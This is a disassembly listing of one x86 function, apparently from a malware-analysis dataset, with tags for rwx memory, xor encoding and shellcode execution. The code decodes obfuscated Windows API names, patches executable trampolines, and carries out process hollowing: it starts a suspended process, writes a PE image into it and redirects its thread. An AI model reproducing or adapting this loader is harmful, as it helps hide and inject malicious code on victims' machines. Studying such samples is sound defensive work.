Function at 0x403d90
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404898
mov eax, dword fs:[0]
push eax
sub esp, 0x360
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2fc], edx
mov dword [ebp - 0x2e4], ecx
xorps xmm0, xmm0
mov dword [ebp - 0x36c], 0x44
mov eax, 0x5a4d
movlpd qword [ebp - 0x368], xmm0
movlpd qword [ebp - 0x360], xmm0
movlpd qword [ebp - 0x358], xmm0
movlpd qword [ebp - 0x350], xmm0
movlpd qword [ebp - 0x348], xmm0
movlpd qword [ebp - 0x340], xmm0
movlpd qword [ebp - 0x338], xmm0
movlpd qword [ebp - 0x330], xmm0
mov dword [ebp - 0x2dc], 0x10007
cmp word [edx], ax
jne 0x403e32
mov eax, dword [edx + 0x3c]
add eax, edx
jmp 0x403e38
mov eax, dword [ebp - 0x300]
xor byte [str._FU_], 0x31
xor byte [0x407085], 0x32
xor byte [0x407086], 0x31
xor byte [0x407087], 0x32
xor byte [0x407088], 0x31
xor byte [0x407089], 0x32
xor byte [str.U_2], 0x31
xor byte [0x40708b], 0x32
xor byte [0x40708c], 0x31
xor byte [0x40708d], 0x32
xor ecx, ecx
mov dword [ebp - 0x2e0], eax
nop word [eax + eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str.ZWCT], al
inc ecx
cmp ecx, 0xc
jle 0x403e90
xor ecx, ecx
nop dword [eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + 0x407060], al
inc ecx
cmp ecx, 0x10
jle 0x403eb0
mov edx, 1
mov esi, 2
mov edi, 3
mov ebx, 4
xor ecx, ecx
sub edx, str.vWEbC_RsUVCWBA1
sub esi, str.vWEbC_RsUVCWBA1
sub edi, str.vWEbC_RsUVCWBA1
sub ebx, str.vWEbC_RsUVCWBA1
nop word [eax + eax]
mov eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + str.vWEbC_RsUVCWBA1], al
lea eax, [edx + str.vWEbC_RsUVCWBA1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407175], al
lea eax, [esi + str.vWEbC_RsUVCWBA1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407176], al
lea eax, [edi + str.vWEbC_RsUVCWBA1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407177], al
lea eax, [ebx + str.vWEbC_RsUVCWBA1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407178], al
add ecx, 5
cmp ecx, 0xe
jle 0x403f00
mov edx, 1
mov esi, 2
mov edi, 3
mov ebx, 4
xor ecx, ecx
sub edx, str.r_TSEWa_QTABs1
sub esi, str.r_TSEWa_QTABs1
sub edi, str.r_TSEWa_QTABs1
sub ebx, str.r_TSEWa_QTABs1
nop dword [eax + eax]
mov eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + str.r_TSEWa_QTABs1], al
lea eax, [edx + str.r_TSEWa_QTABs1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070a5], al
lea eax, [esi + str.r_TSEWa_QTABs1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070a6], al
lea eax, [edi + str.r_TSEWa_QTABs1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070a7], al
lea eax, [ebx + str.r_TSEWa_QTABs1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070a8], al
add ecx, 5
cmp ecx, 0xe
jle 0x403fb0
mov edx, 1
mov esi, 2
xor ecx, ecx
sub edx, 0x407130
sub esi, 0x407130
mov eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407130], al
lea eax, [edx + 0x407130]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + str.FdSAdXWFWaTQE_1], al
lea eax, [esi + 0x407130]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x407132], al
add ecx, 3
cmp ecx, 0x14
jle 0x404042
mov edx, 1
mov esi, 2
mov edi, 3
mov ebx, 4
xor ecx, ecx
sub edx, str.g_CFDS_s_QtJ1
sub esi, str.g_CFDS_s_QtJ1
sub edi, str.g_CFDS_s_QtJ1
sub ebx, str.g_CFDS_s_QtJ1
nop word [eax + eax]
mov eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + str.g_CFDS_s_QtJ1], al
lea eax, [edx + str.g_CFDS_s_QtJ1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070d1], al
lea eax, [esi + str.g_CFDS_s_QtJ1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070d2], al
lea eax, [edi + str.g_CFDS_s_QtJ1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070d3], al
lea eax, [ebx + str.g_CFDS_s_QtJ1]
add eax, ecx
and eax, 1
movzx eax, byte [eax + 0x4052fc]
xor byte [ecx + 0x4070d4], al
add ecx, 5
cmp ecx, 0xe
jle 0x4040c0
xor ecx, ecx
nop dword [eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str.f_XFTbC_RWBAW_CK1], al
inc ecx
cmp ecx, 0x12
jle 0x404140
xor ecx, ecx
nop dword [eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str.vWEfY_TSUqEWIF1], al
inc ecx
cmp ecx, 0x10
jle 0x404160
xor ecx, ecx
nop dword [eax]
mov eax, ecx
and eax, 1
mov al, byte [eax + 0x4052fc]
xor byte [ecx + str.bWEfY_TSUqEWIF1], al
inc ecx
cmp ecx, 0x10
jle 0x404180
xor eax, eax
nop dword [eax]
mov ecx, eax
and ecx, 1
mov cl, byte [ecx + 0x4052fc]
xor byte [eax + str.cWBGWeZCWPV1], cl
inc eax
cmp eax, 0xc
jle 0x4041a0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x407060
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
call fcn.00401c65
add esp, 4
mov esi, eax
lea eax, [ebp - 0x300]
push eax
push 0x40
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x407060
push 0x4051e8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ecx, dword [eax]
mov dword [esi], ecx
movzx ecx, byte [eax + 4]
mov byte [esi + 4], cl
mov byte [esi + 5], 0xe9
add esi, 6
sub eax, esi
inc eax
mov dword [esi], eax
sub esi, 6
mov dword [ebp - 0x30c], esi
mov dword [ebp - 0x320], esi
mov dword [ebp - 4], 0
mov edx, str.vWEbC_RsUVCWBA1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
call fcn.00401c65
add esp, 4
mov edi, eax
lea eax, [ebp - 0x2f8]
push eax
push 0x40
push 0xa
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.vWEbC_RsUVCWBA1
push 0x4051f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
mov ecx, dword [eax]
mov dword [edi], ecx
movzx ecx, byte [eax + 4]
mov byte [edi + 4], cl
mov byte [edi + 5], 0xe9
add edi, 6
sub eax, edi
inc eax
mov dword [edi], eax
sub edi, 6
mov dword [ebp - 0x300], edi
mov dword [ebp - 0x324], edi
mov byte [ebp - 4], 1
mov edx, str.r_TSEWa_QTABs1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
call fcn.00401c65
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x2f4]
push eax
push 0x40
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.r_TSEWa_QTABs1
push 0x405208
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [eax]
mov dword [ebx], ecx
movzx ecx, byte [eax + 4]
mov byte [ebx + 4], cl
lea ecx, [ebx + 6]
sub eax, ecx
mov byte [ebx + 5], 0xe9
inc eax
mov dword [ecx], eax
add ecx, 0xfffffffa
mov dword [ebp - 0x2f8], ecx
mov byte [ebp - 4], 2
mov edx, 0x407130
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
call fcn.00401c65
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x2e8]
push eax
push 0x40
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x407130
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [eax]
mov dword [ebx], ecx
movzx ecx, byte [eax + 4]
mov byte [ebx + 4], cl
lea ecx, [ebx + 6]
sub eax, ecx
mov byte [ebx + 5], 0xe9
inc eax
mov dword [ecx], eax
add ecx, 0xfffffffa
mov dword [ebp - 0x2f4], ecx
push 2
push 0x405224
push str.g_CFDS_s_QtJ1
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], 3
call fcn.004014a0
mov byte [ebp - 4], 4
mov edx, str.f_XFTbC_RWBAW_CK1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
call fcn.00401c65
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x2e8]
push eax
push 0x40
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.f_XFTbC_RWBAW_CK1
push 0x405234
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [eax]
mov dword [ebx], ecx
movzx ecx, byte [eax + 4]
mov byte [ebx + 4], cl
lea ecx, [ebx + 6]
sub eax, ecx
mov byte [ebx + 5], 0xe9
inc eax
mov dword [ecx], eax
add ecx, 0xfffffffa
mov dword [ebp - 0x2ec], ecx
mov byte [ebp - 4], 5
mov edx, str.vWEfY_TSUqEWIF1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
call fcn.00401c65
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x2f0]
push eax
push 0x40
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.vWEfY_TSUqEWIF1
push 0x405244
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [eax]
mov dword [ebx], ecx
movzx ecx, byte [eax + 4]
mov byte [ebx + 4], cl
lea ecx, [ebx + 6]
sub eax, ecx
mov byte [ebx + 5], 0xe9
inc eax
mov dword [ecx], eax
add ecx, 0xfffffffa
mov dword [ebp - 0x2e8], ecx
mov byte [ebp - 4], 6
mov edx, str.bWEfY_TSUqEWIF1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401a70
call fcn.00401850
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
call fcn.00401c65
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x328]
push eax
push 0x40
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.bWEfY_TSUqEWIF1
push 0x405254
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [eax]
mov dword [ebx], ecx
movzx ecx, byte [eax + 4]
mov byte [ebx + 4], cl
lea ecx, [ebx + 6]
sub eax, ecx
mov byte [ebx + 5], 0xe9
inc eax
mov dword [ecx], eax
add ecx, 0xfffffffa
mov dword [ebp - 0x2f0], ecx
push 5
push 0x405264
push str.cWBGWeZCWPV1
lea ecx, [ebp - 0x304]
mov byte [ebp - 4], 7
call fcn.004015e0
lea eax, [ebp - 0x31c]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x36c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push dword [ebp - 0x2e4]
lea eax, [ebp - 0x2f8]
push 0
push 0xa
push eax
call fcn.004011a0
mov ebx, dword [ebp - 0x2e0]
lea eax, [ebp - 0x2f4]
push dword [ebx + 0x34]
push dword [ebp - 0x31c]
push 2
push eax
call fcn.00401410
add esp, 0x40
lea eax, [ebp - 0x308]
push 0x40
push 0x3000
push dword [ebx + 0x50]
push dword [ebx + 0x34]
push dword [ebp - 0x31c]
push 5
push eax
call fcn.00401550
mov eax, dword [ebp - 0x2e0]
push 0
push dword [ebx + 0x54]
mov ebx, dword [ebp - 0x2fc]
push ebx
push dword [eax + 0x34]
lea eax, [ebp - 0x2ec]
push dword [ebp - 0x31c]
push 5
push eax
call fcn.004011a0
mov eax, dword [ebp - 0x2e0]
xor ecx, ecx
mov edx, dword [ebp - 0x31c]
add esp, 0x38
mov dword [ebp - 0x2fc], edx
mov dword [ebp - 0x2e4], 0
cmp cx, word [eax + 6]
jae 0x40465f
xor edi, edi
mov esi, eax
nop dword [eax]
mov ecx, dword [ebx + 0x3c]
add ecx, edi
push 0
push dword [ecx + ebx + 0x108]
mov eax, dword [ecx + ebx + 0x10c]
add eax, ebx
push eax
mov eax, dword [ecx + ebx + 0x104]
add eax, dword [esi + 0x34]
push eax
push edx
lea eax, [ebp - 0x2ec]
push 5
push eax
call fcn.004011a0
mov ecx, dword [ebp - 0x2e4]
add esp, 0x1c
movzx eax, word [esi + 6]
inc ecx
mov edx, dword [ebp - 0x2fc]
add edi, 0x28
mov dword [ebp - 0x2e4], ecx
cmp ecx, eax
jl 0x404600
mov esi, dword [ebp - 0x30c]
mov edi, dword [ebp - 0x300]
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp - 0x318]
lea eax, [ebp - 0x2e8]
push 2
push eax
call fcn.004011a0
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp - 0x318]
lea eax, [ebp - 0x2f0]
push 2
push eax
call fcn.004011a0
push dword [ebp - 0x318]
lea eax, [ebp - 0x304]
push 1
push eax
call fcn.00401690
push 1
push dword [ebp - 0x304]
call fcn.00401c57
push 1
push dword [ebp - 0x2f0]
call fcn.00401c57
push 1
push dword [ebp - 0x2e8]
call fcn.00401c57
add esp, 0x44
push 1
push dword [ebp - 0x2ec]
call fcn.00401c57
push 1
push dword [ebp - 0x308]
call fcn.00401c57
push 1
push dword [ebp - 0x2f4]
call fcn.00401c57
push 1
push dword [ebp - 0x2f8]
call fcn.00401c57
push 1
push edi
call fcn.00401c57
push 1
push esi
call fcn.00401c57
add esp, 0x30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401c44
mov esp, ebp
pop ebp
ret